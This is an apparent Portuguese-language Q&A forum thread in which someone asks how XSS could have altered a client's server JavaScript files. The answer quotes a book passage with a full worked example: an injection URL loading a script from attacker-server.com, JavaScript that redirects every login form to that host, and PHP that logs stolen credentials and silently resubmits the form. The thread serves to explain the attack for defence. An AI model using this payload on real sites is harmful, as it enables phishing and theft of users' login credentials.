18

Recentemente um cliente foi vítima de ataques XSS. Tratamos todos os inputs que encontramos com falhas, porém não consigo entender como foi inserido código JavaScript malicioso nos ficheiros ".js" no servidor.

Como é que alteraram o script via XSS?

1 Resposta 1

19

As informações abaixo foram retiradas do livro Hacking: A Próxima Geração.


Injeção de Conteúdo utilizando Cross-Site Scripting (XSS)

Entulhar toda a carga de XSS em uma cadeia de comandos pode ser confuso e complicado. Na maioria das vezes, o atacante terá que executar uma carga complicada para maximizar o impacto do ataque XSS. Em tais situações, o atacante pode usar arquivos externos JavaScript para abrigar as cargas de exploração. Ele faz isso através da injeção de uma instrução script com um atributo src. O atributo src permite que o invasor especifique um arquivo JavaScript externo a ser executado no contexto do domínio que hospeda o aplicativo da Web que é vulnerável a XSS. Quando a injeção de um script com um atributo src em um código XSS é inserida, os atacantes costumam armazenar o arquivo JavaScript externo em um servidor web que eles controlam. Uma injeção típica de um arquivo de script externo usando XSS seria algo parecido com isto:

http://vulnerable-server.com/login.jsp?parameter="><script%20src="http://attacker-server.com/payload.js"></script>

Quando uma referência a um script externo é injetada, o atacante tem a opção de armazenar toda a carga de código de exploração no arquivo de script externo (neste caso, o arquivo em http://attacker-server.com/payload.js). Neste exemplo, o atacante usa o arquivo JavaScript externo para armazenar o código de exploração que varre os objetos form da página de login e altera form action para que as credenciais do usuário sejam transferidas para o servidor web do atacante. O código a seguir mostra o conteúdo do arquivo JavaScript externo payload.js:

for (i = 0; i < document.forms.length; i++)
{
    var originalaction = document.forms[i].action;
    document.forms[i].action =
      "http://attacker-server.com/cred-thief.php?orig=" + originalaction;
}

Essa carga de código JavaScript enumera todos os objetos FORM, grava o atributo FORM ACTION original e altera o atributo ACTION para apontar para o servidor web do atacante. Quando a vítima envia um formulário utilizando o botão "Entrar" na página de login que é vulnerável a XSS, seu nome de usuário e senha são passados ​​para o arquivo cred-thief.php no servidor web do atacante. Uma vez que servidor web do atacante recebe as credenciais da vítima, ele redireciona a vítima de volta para a página de login original e automaticamente conecta a vítima no aplicativo, mascarando o fato de que o seu nome de usuário e uma senha foram roubados. Veja o código de cred-thief.php:

<?php
// Is the orig parameter present?
if (isset($_GET['orig'])):

    // open the file for storing the stolen creds
    $fp = fopen("StolenCreds.txt", 'a');
    fwrite($fp, $_GET['orig']);

    // Create the initial HTML for the FORM with the
    // original URL for the ACTION
    echo "<html><body><form name='redirect' id='redirect'";
    echo " action='" . $_GET['orig'] . "' method='POST'>";

    // Loop through all the POST parameters stolen from the
    // original site and generate the correct form
    // elements and log the value to a text file
    foreach ($_POST as $var => $value) {
        echo "<input type='hidden' name='" . $var ."' value='" . $value ."'>";
        fwrite($fp,"var:".$var."  value:".$value."\r\n");
    }

    //complete the form and autosubmit the form using javascript
    echo "</form><script>document.redirect.submit()</script></body></html>";

else:
    //If orig is missing, redirect to back to the referring site
    header( 'Location: '. $HTTP_REFERER);

endif;

fclose($fp);
?>

As vulnerabilidades XSS em páginas de login podem ser devastadoras. Por exemplo, se um site bancário tem uma exposição XSS em qualquer local do seu domínio, um phisher sofisticado será capaz de usar a vulnerabilidade XSS para tirar vantagem do SSL (incluindo o Extended Validation SSL) e de filtros de phishing. Tais páginas de phishing vão exibir todos os certificados SSL legítimos e são indetectáveis ​​por filtros de phishing, ainda que eles contenham código de phishing. Ao usar um ataque XSS, como o mostrado anteriormente, o potencial phisher pode roubar as credenciais fornecidas para sites bancários, contornando todos os mecanismos atuais de proteção contra phishing.


Espero que este texto esclareça alguns procedimentos. Para mais informações recomendo ler todo o capítulo 2 do livro.

7
  • Me desculpe se houver muitos erros de tradução, não tive muito tempo para faze-la.
    – AndersonBS
    Commented 28/03/2014 às 15:47
  • 1
    Primeiro, muito obrigado pelo eu tempo. Pelo que entendi, o hacker explorou uma falha no PHP primeiro, certo? Introduziu no conteúdo gravado na base de dados as tags "<script>" com o "src" a apontar para o script malicioso, estou certo? Assim quando o utilizador abre o conteúdo, o script js externo é executado. Pergunto isso porque no caso do nosso cliente, os ficheiros js foram mesmo editados e um pedaço do código fazia referência a um script externo. Como conseguiram inserir e salvar o novo conteúdo? Commented 28/03/2014 às 15:59
  • Isso mesmo. Uma hipótese é que o invasor conseguiu acesso ao seu servidor de alguma forma. Você possui serviços de acesso remoto habilitados? Se sim, já deu uma olhada nos logs?
    – AndersonBS
    Commented 28/03/2014 às 16:20
  • o único acesso é via ftp, porém mudamos todas as senhas para garantir e restringimos acesso ao servidor ftp a um computador, pelo menos por enquanto. Uma dúvida, seria possível a edição de algum ficheiro via ataque XSS, sem passar pela base de dados? Pergunto porque até onde sei, o javascript é executado na maquina cliente, logo não iria conseguir editar nenhum ficheiro explorando uma falha através da técnica XXS, certo? Commented 28/03/2014 às 16:45
  • Teoricamente sim. Até onde eu sei não é possível editar através de XSS. Se alguém conseguir fazer isso, vamos ter sérios problemas futuramente...
    – AndersonBS
    Commented 28/03/2014 às 16:48

Você deve fazer log-in para responder a esta pergunta.

Esta não é a resposta que você está procurando? Pesquise outras perguntas com a tag .